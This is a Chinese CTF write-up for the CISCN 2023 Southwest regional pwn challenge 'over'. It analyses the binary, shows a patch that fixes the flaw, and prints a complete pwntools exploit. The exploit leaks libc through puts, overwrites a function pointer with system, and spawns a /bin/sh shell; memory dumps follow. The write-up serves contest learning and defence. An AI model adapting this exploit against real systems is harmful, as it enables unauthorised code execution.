CISCN 2023 西南分区赛 over WriteUp

安全措施

checksec

程序分析

首先是初始化程序,将 puts 放在了 bss 段 0x4088 的位置,具体查看汇编发现是直接把 puts 的函数地址放进去了。

sub_174A

puts ptr

主程序先接受一个 name 存在 0x4068 位置,然后执行 4 个选项的菜单循环。

选项 1、2、3 分别能够通过 +、-、^ 操作 0x40a0 之前的内存;选项 4 调用 0x4088 位置的函数,并传入 0x4060 的参数。

image-20230612135554613

选项 1、2、3 只有运算符不同,这里只贴出加法部分,中间的循环那一段是垃圾代码,没有意义:

add

选项 4,原始逻辑是用 puts 输出 0x4068 位置的数据(即一开始输入的 name) ,后面可以利用这个 get shell。

forget_tips

Patch

把选项 4 调用的 0x4088 直接改成 puts 的地址即可。

使用 IDA 的 KeyPatch 插件,将原指令改为mov rax, puts

keypatch

modified

通过 Apply patches to 应用修改:

apply patches to

Exp

这里很容易想到需要修改 0x4088 存放的函数地址进行 get shell。

但是由于开启了 PIE,需要先 leak libc。

这里可以通过填充 0x4068-0x4088 之间的空白,然后通过选项 4 得到 puts 函数的地址,计算得到 libc 地址。

然后再打一个 system("/bin/sh") 来 get shell。

具体 exp 如下:

from pwn import *

debug = True
local_path = './pwn'
remote_path = 'xxxx'
remote_port = 10000
file = ELF(local_path)
libc = ELF('./libc.so.6')
# libc = file.libc
# ld = ELF('/usr/lib/x86_64-linux-gnu/ld-2.31.so')
context.binary = local_path

if debug:
    io = process(local_path)
    context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w',
                        '0', 'sp', '-V', '--title', 'gdb', 'bash', '-c']
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else:
    io = remote(remote_path, remote_port)

def z(a=''):
    if debug:
        gdb.attach(io, a)
        if a == '':
            raw_input()
    else:
        pass

def itob(n):
    return str(n).encode()

def sa(a, b):
    io.sendafter(a, b)

def sla(a, b):
    io.sendlineafter(a, b)

def ru(a, d=False):
    return io.recvuntil(a, drop=d)

def rl(k=True):
    return io.recvline(keepends=k)

def add_into(addr, payload):
    offset = (addr - 0x4060)//4 - 12
    for i in range(len(payload)//4):
        sla(b'what do you want to do\n', b'1')

        sla(b'what do you want to choose\n', itob(offset))

        beg = i*4
        end = (i+1)*4 if (i+1)*4 <= len(payload) else len(payload)
        add = unpack(payload[beg:end].ljust(4, b'\0'), word_size=32)
        sla(b'some add\n', itob(add))

        offset += 1

def sub_into(addr, payload):
    offset = (addr - 0x4060)//4 - 12
    for i in range(len(payload)//4):
        sla(b'what do you want to do\n', b'2')

        sla(b'what do you want to choose\n', itob(offset))

        beg = i*4
        end = (i+1)*4 if (i+1)*4 <= len(payload) else len(payload)
        add = unpack(payload[beg:end].ljust(4, b'\0'), word_size=32)
        sla(b'some add\n', itob(add))

        offset += 1

def xor_into(addr, payload):
    offset = (addr - 0x4060)//4 - 12
    for i in range(len(payload)//4):
        sla(b'what do you want to do\n', b'3')

        sla(b'what do you want to choose\n', itob(offset))

        beg = i*4
        end = (i+1)*4 if (i+1)*4 <= len(payload) else len(payload)
        xor = unpack(payload[beg:end].ljust(4, b'\0'), word_size=32)
        sla(b'some add\n', itob(xor))

        offset += 1

def exp():
    ogg = [0xe3afe, 0xe3b01, 0xe3b04]

    sa(b'what is your name\n', b'/bin/sh'.ljust(0x10, b'a'))

    # fill out 0x4078-0x4088 with b'a'
    add_into(0x4078, b'a'*0x10)

    # leak puts addr to get libc addr
    sla(b'what do you want to do\n', b'4')
    rl()
    puts_addr = unpack(rl(False)[-6:].ljust(8, b'\0'))
    log.info("puts addr: "+hex(puts_addr))

    libc_addr = puts_addr - libc.symbols['puts']
    log.info("libc addr: "+hex(libc_addr))

    # modify 0x4068 to b'/bin/sh\0'
    payload = b'\0'*7 + b'a'
    xor_into(0x4068, payload)

    # modify 0x4088 to system addr
    system_addr = libc_addr + libc.sym['system']
    log.info('system addr: ' + hex(system_addr))
    offset = system_addr - puts_addr
    if offset>0:
        payload = pack(offset)
        add_into(0x4088, payload)
    else:
        payload = pack(-offset)
        sub_into(0x4088, payload)

    # call system(b'/bin/sh\0') to get shell
    sla(b'what do you want to do\n', b'4')
    rl()
    io.interactive()

if __name__ == '__main__':
    exp()

0x4068-0x4098 内存变化过程如下:

00:0000│  0x4068 ◂— '/bin/shaaaaaaaaa'
01:0008│  0x4070 ◂— 'aaaaaaaa'
02:0010│  0x4078 ◂— 0x0
03:0018│  0x4080 ◂— 0x0
04:0020│  0x4088 —▸ 0x7f1205375450 (puts) ◂— endbr64

00:0000│  0x4068 ◂— 0x6168732f6e69622f ('/bin/sha')
01:0008│  0x4070 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓     2 skipped
04:0020│  0x4088 —▸ 0x7fb455368450 (puts) ◂— endbr64

00:0000│  0x4068 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│  0x4070 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓     2 skipped
04:0020│  0x4088 —▸ 0x7f206949b450 (puts) ◂— endbr64

00:0000│  0x4068 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│  0x4070 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓     2 skipped
04:0020│  0x4088 —▸ 0x7f99264af2c0 (system) ◂— endbr64

附件

暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇